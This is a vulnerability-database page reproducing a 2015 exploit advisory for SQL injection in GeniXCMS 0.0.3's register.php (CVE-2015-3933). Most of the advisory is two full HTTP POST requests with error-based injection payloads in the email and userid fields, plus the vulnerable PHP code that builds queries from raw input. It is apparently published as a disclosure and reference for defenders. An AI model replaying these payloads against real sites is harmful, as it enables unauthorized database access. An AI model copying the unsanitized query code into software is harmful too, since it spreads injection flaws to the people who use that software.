Lucene search
K

GeniXCMS 0.0.3 SQL Injection

🗓️ 25 Jun 2015 00:00:00Reported by cfreerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

GeniXCMS 0.0.3 SQL Injection in register.ph

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GeniXCMS 0.0.3 - register.php SQL Injection Vulnerabilities
25 Jun 201500:00
zdt
CNVD
Multiple SQL Injection Vulnerabilities in MetalGenix GeniXCMS
9 Nov 201700:00
cnvd
CVE
CVE-2015-3933
8 Nov 201716:00
cve
Cvelist
CVE-2015-3933
8 Nov 201716:00
cvelist
Exploit DB
GeniXCMS 0.0.3 - 'register.php' SQL Injection
24 Jun 201500:00
exploitdb
EUVD
EUVD-2015-3965
7 Oct 202500:30
euvd
exploitpack
GeniXCMS 0.0.3 - register.php SQL Injection
24 Jun 201500:00
exploitpack
Github Security Blog
MetalGenix GeniXCMS vulnerable to SQL Injection
17 May 202200:20
github
NVD
CVE-2015-3933
8 Nov 201716:29
nvd
OpenVAS
Genixcms Multiple SQL Injection Vulnerabilities (Jun 2015)
25 Jun 201500:00
openvas
Rows per page
`# Exploit Title: Genixcms register.php multiple SQL vuln  
# Date: 2015-06-23  
# Exploit Author: cfreer (poc-lab)  
# Vendor Homepage: http://www.genixcms.org  
# Software Link:  
https://codeload.github.com/semplon/GeniXCMS/zip/master/GeniXCMS-master.zip  
# Version: 0.0.3  
# Tested on: Apache/2.4.7 (Win32)  
# CVE : CVE-2015-3933  
  
  
=====================  
SOFTWARE DESCRIPTION  
=====================  
  
Free and Opensource Content Management System, a new approach of simple and  
lightweight CMS. Get a new experience of a fast and easy to modify CMS.  
  
=============================  
VULNERABILITY: SQL Injection  
=============================  
  
  
  
Poc:  
  
1、Genixcms register.php email SQL vuln  
  
HTTP Data Stream  
  
POST /genixcms/register.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101  
Firefox/37.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ;  
PHPSESSID=r7o8e5rghc0n0j09i6drb4m9v6; GeniXCMS=8fq1peiv9lahvq3d1qlfab7g47  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 199  
  
email='and(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'&pass1=cfreer&pass2=cfreer&register=1&token=&userid=poc-lab  
  
  
  
  
\inc\lib\User.class.php  
  
  
public static function is_email($vars){  
if(isset($_GET['act']) && $_GET['act'] == 'edit'){  
$where = "AND `id` != '{$_GET['id']}' ";  
}else{  
$where = '';  
}  
$e = Db::result("SELECT * FROM `user` WHERE `email` = '{$vars}'  
{$where}");  
if(Db::$num_rows > 0){  
return false;  
}else{  
return true;  
}  
}  
  
  
  
==============================================================================================================================================  
2、Genixcms register.php userid SQL vuln  
  
HTTP Data Stream  
  
POST /genixcms/register.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101  
Firefox/37.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ;  
PHPSESSID=r7o8e5rghc0n0j09i6drb4m9v6; GeniXCMS=8fq1peiv9lahvq3d1qlfab7g47  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 224  
  
  
[email protected]&pass1=poc-lab.org&pass2=poc-lab.org  
&register=1&token=&userid='and(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'  
  
  
\inc\lib\User.class.php  
  
public static function is_exist($user) {  
if(isset($_GET['act']) && $_GET['act'] == 'edit'){  
$where = "AND `id` != '{$_GET['id']}' ";  
}else{  
$where = '';  
}  
$usr = Db::result("SELECT `userid` FROM `user` WHERE `userid` =  
'{$user}' {$where} ");  
$n = Db::$num_rows;  
if($n > 0 ){  
return false;  
}else{  
return true;  
}  
  
}  
  
referer: https://www.exploit-db.com/exploits/37363/  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation